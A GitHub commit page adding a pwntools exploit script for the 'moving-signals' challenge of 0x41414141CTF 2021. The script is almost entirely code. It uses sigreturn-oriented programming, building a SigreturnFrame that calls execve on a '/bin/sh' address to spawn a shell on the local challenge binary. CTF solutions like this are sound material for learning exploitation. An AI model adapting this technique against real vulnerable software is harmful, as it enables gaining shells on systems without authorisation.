Skip to content

Commit 98ef3c4

Browse files
committed
feat: Add moving-signals@0x41414141CTF
1 parent d9f70d5 commit 98ef3c4

File tree

1 file changed

+30
-0
lines changed
  • 2021/0x41414141CTF/moving-signals

1 file changed

+30
-0
lines changed
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
from pwn import *
2+
3+
file = "./moving-signals"
4+
e = ELF(file)
5+
context(os = 'linux', arch = 'amd64')
6+
context.log_level = 'debug'
7+
8+
io = process(file)
9+
10+
addr_binsh = 0x0041250
11+
rop_syscall_ret = 0x0041015
12+
rop_rax_ret = 0x0041018
13+
14+
frame = SigreturnFrame(arch = 'amd64')
15+
frame.rax = 59 #execv
16+
frame.rdi = addr_binsh
17+
frame.rsi = 0
18+
frame.rdx = 0
19+
frame.rsp = 0x41000
20+
frame.rip = rop_syscall_ret
21+
22+
pld = b"A" * 8
23+
pld += p64(rop_rax_ret)
24+
pld += p64(0xf) #sigreturn
25+
pld += p64(rop_syscall_ret)
26+
pld += bytes(frame)
27+
28+
io.sendline(pld)
29+
30+
io.interactive()

0 commit comments

Comments
 (0)